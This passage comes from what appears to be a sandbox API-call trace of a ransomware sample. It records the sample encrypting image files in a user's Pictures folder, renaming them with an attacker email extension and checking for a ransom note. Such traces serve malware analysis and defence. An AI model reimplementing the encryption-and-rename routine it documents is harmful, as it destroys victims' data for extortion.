(in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11befb0c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11befb0c*=0x6c, lpOverlapped=0x0) returned 1 [0170.210] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11befb0c, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x11befb0c*=0x20, lpOverlapped=0x0) returned 1 [0170.210] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11befb0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11befb0c*=0x4, lpOverlapped=0x0) returned 1 [0170.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88700) returned 1 [0170.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88728) returned 1 [0170.210] CloseHandle (hObject=0x370) returned 1 [0170.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1520 [0170.210] wcscpy (in: _Dest=0x2ff1520, _Source="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" [0170.210] wcscat (in: _Dest=0x2ff1520, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.210] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.211] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1520) returned 1 [0170.211] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.211] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4900 [0170.212] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.212] wcscat (in: _Dest=0x2fa4900, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.212] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0170.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4b48) returned 1 [0170.212] RtlExitUserThread (Status=0x1) Thread: id = 1884 os_tid = 0x390 [0170.213] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.213] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.214] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x11c6fe9c | out: lpFileSize=0x11c6fe9c*=40562) returned 1 [0170.214] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x9e6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.214] ReadFile (in: hFile=0x370, lpBuffer=0x11c6fe70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x11c6fe70*, lpNumberOfBytesRead=0x11c6fe6c*=0x4, lpOverlapped=0x0) returned 1 [0170.215] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88700 [0170.215] NtQuerySystemTime (in: CurrentTime=0x11c6fe48 | out: CurrentTime=0x11c6fe48*=132121213275377153) returned 0x0 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x4bd2df9f [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x9aea6f05 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x9fe50644 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xaa2e3126 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x4e7c4ab9 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x65fbe5b6 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x51f7a79f [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x4d2eccb6 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xf4dc73b6 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xde6b2d7e [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x7e4886b7 [0170.215] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x798ce46c [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x9ece127e [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x8b2a33d6 [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xaf58d86b [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xea4de13d [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x74d4694f [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xbf066bbd [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x5cafc219 [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x45a2ddda [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x8fe35e1b [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xae254073 [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x4fe6746d [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xffbb20f2 [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xb009688e [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x3027b675 [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xd079a30d [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xfa05a26a [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x75355a1a [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x10d8f762 [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0xa52b3e11 [0170.216] RtlRandom (in: Seed=0x11c6fe54 | out: Seed=0x11c6fe54) returned 0x50d02d4b [0170.225] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.227] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.227] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.227] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.227] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.228] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11c6fe20, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x11c6fe20*=0x4096, lpOverlapped=0x0) returned 1 [0170.228] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.228] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.229] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.229] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.229] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11c6fe20, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x11c6fe20*=0x4096, lpOverlapped=0x0) returned 1 [0170.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.229] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x9e72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.229] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11c6fe58, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x11c6fe58*=0x20, lpOverlapped=0x0) returned 1 [0170.230] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.230] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.230] WriteFile (in: hFile=0x370, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0x11c6fe6c*=0x8, lpOverlapped=0x0) returned 1 [0170.230] WriteFile (in: hFile=0x370, lpBuffer=0x11c6fe84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x11c6fe84*, lpNumberOfBytesWritten=0x11c6fe6c*=0x4, lpOverlapped=0x0) returned 1 [0170.230] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11c6fe6c*=0x4, lpOverlapped=0x0) returned 1 [0170.230] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11c6fe6c*=0x6c, lpOverlapped=0x0) returned 1 [0170.230] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x11c6fe6c*=0x20, lpOverlapped=0x0) returned 1 [0170.230] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11c6fe6c*=0x4, lpOverlapped=0x0) returned 1 [0170.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88728) returned 1 [0170.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0170.231] CloseHandle (hObject=0x370) returned 1 [0170.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc8) returned 0x2fc3af8 [0170.231] wcscpy (in: _Dest=0x2fc3af8, _Source="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" [0170.231] wcscat (in: _Dest=0x2fc3af8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.231] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.921] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3af8) returned 1 [0175.922] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.922] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2f93a30 [0175.922] wcscpy (in: _Dest=0x2f93a30, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0175.922] wcscat (in: _Dest=0x2f93a30, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0175.922] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0175.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93a30) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82598) returned 1 [0175.922] RtlExitUserThread (Status=0x1) Thread: id = 1885 os_tid = 0x46c [0170.238] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.902] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0175.902] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x11cefa4c | out: lpFileSize=0x11cefa4c*=92502) returned 1 [0175.902] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x16952, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.902] ReadFile (in: hFile=0x4d0, lpBuffer=0x11cefa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11cefa1c, lpOverlapped=0x0 | out: lpBuffer=0x11cefa20*, lpNumberOfBytesRead=0x11cefa1c*=0x4, lpOverlapped=0x0) returned 1 [0175.903] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0175.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d80 [0175.903] NtQuerySystemTime (in: CurrentTime=0x11cef9f8 | out: CurrentTime=0x11cef9f8*=132121213332170866) returned 0x0 [0175.903] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x582178d0 [0175.903] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x9791a981 [0175.903] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xc7ee8f0a [0175.903] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xe4efdfcd [0175.903] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x598b0d14 [0175.903] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x1ffef1e3 [0175.903] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x2a671e92 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x24dde967 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x745f841f [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xa9551ea2 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x234841be [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x126845d [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xc5562569 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x62d19b8b [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x53080b2f [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x8b56c5e [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x4806d0f [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x466db6d9 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x27b17bfa [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x14f92a97 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xa2e0e901 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xaffb40e7 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xad84903e [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xfe3e3ea9 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x350427d4 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xa02b4166 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xf6c47ca8 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xaa81850 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x5bf04599 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x8bc12bf [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0xd8928c38 [0175.904] RtlRandom (in: Seed=0x11cefa04 | out: Seed=0x11cefa04) returned 0x69c88d60 [0175.915] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.915] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11cef9d0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x11cef9d0*=0x4096, lpOverlapped=0x0) returned 1 [0175.915] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0175.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88c58 [0175.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x305ebd0 [0175.915] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ebd0) returned 1 [0175.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x305e9a0 [0175.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x305e9c8 [0175.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e9c8) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88c58) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0175.916] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11cef9d0, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x11cef9d0*=0x4096, lpOverlapped=0x0) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.916] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x16956, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.916] WriteFile (in: hFile=0x4d0, lpBuffer=0x305e9a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11cefa08, lpOverlapped=0x0 | out: lpBuffer=0x305e9a0*, lpNumberOfBytesWritten=0x11cefa08*=0x20, lpOverlapped=0x0) returned 1 [0175.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e9a0) returned 1 [0175.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.917] WriteFile (in: hFile=0x4d0, lpBuffer=0x305ec48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11cefa1c, lpOverlapped=0x0 | out: lpBuffer=0x305ec48*, lpNumberOfBytesWritten=0x11cefa1c*=0x8, lpOverlapped=0x0) returned 1 [0175.917] WriteFile (in: hFile=0x4d0, lpBuffer=0x11cefa34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11cefa1c, lpOverlapped=0x0 | out: lpBuffer=0x11cefa34*, lpNumberOfBytesWritten=0x11cefa1c*=0x4, lpOverlapped=0x0) returned 1 [0175.918] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11cefa1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11cefa1c*=0x4, lpOverlapped=0x0) returned 1 [0175.918] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11cefa1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11cefa1c*=0x6c, lpOverlapped=0x0) returned 1 [0175.918] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11cefa1c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x11cefa1c*=0x20, lpOverlapped=0x0) returned 1 [0175.918] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11cefa1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11cefa1c*=0x4, lpOverlapped=0x0) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ec48) 